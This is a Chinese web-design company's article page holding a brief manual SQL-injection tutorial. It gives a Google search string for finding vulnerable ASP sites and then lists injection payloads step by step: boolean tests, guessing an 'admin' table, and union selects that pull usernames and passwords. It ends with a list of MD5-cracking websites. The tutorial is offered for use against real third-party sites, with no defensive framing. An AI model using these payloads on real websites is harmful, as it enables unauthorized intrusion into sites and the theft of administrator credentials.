快上网专注成都网站设计 成都网站制作 成都网站建设
成都网站建设公司服务热线:028-86922220

网站建设知识

十年网站开发经验 + 多家企业客户 + 靠谱的建站团队

量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决

手工注入方法

手工注入方法:在谷歌里输入关键字:inurl:encomphonorbig.asp?id=
手工注入教程:
1、www.google.com.hk搜索:inurl:encomphonorbig.asp?id=
2、判断注入点:and 1=1   and 1=2   存在漏洞
3、判断数据库:'  ;   ;--  and len('a')=1  
4、猜表:and (select count(*) from admin),显示正常说明admin存在
5、猜字段: and (select count(username,password)from admin),显示正常说明username,password字段存在
6、order by 5
union select 1,2,3,4,5 from admin
看网页中显示第几位可用(此处如第三位可用)
union select 1,2,username,4,5 from admin
union select 1,2,password,4,5 from admin

成都创新互联主要从事成都做网站、成都网站建设、网页设计、企业做网站、公司建网站等业务。立足成都服务灞桥,10余年网站建设经验,价格优惠、服务专业,欢迎来电咨询建站服务:18982081108

MD5破解:

http://www.cmd5.com
http://xmd5.org
http://md5.syue.com
gttp://md5.com.cn
gttp://md5.asia

网页题目:手工注入方法
文章起源:http://6mz.cn/article/pdhcjp.html

其他资讯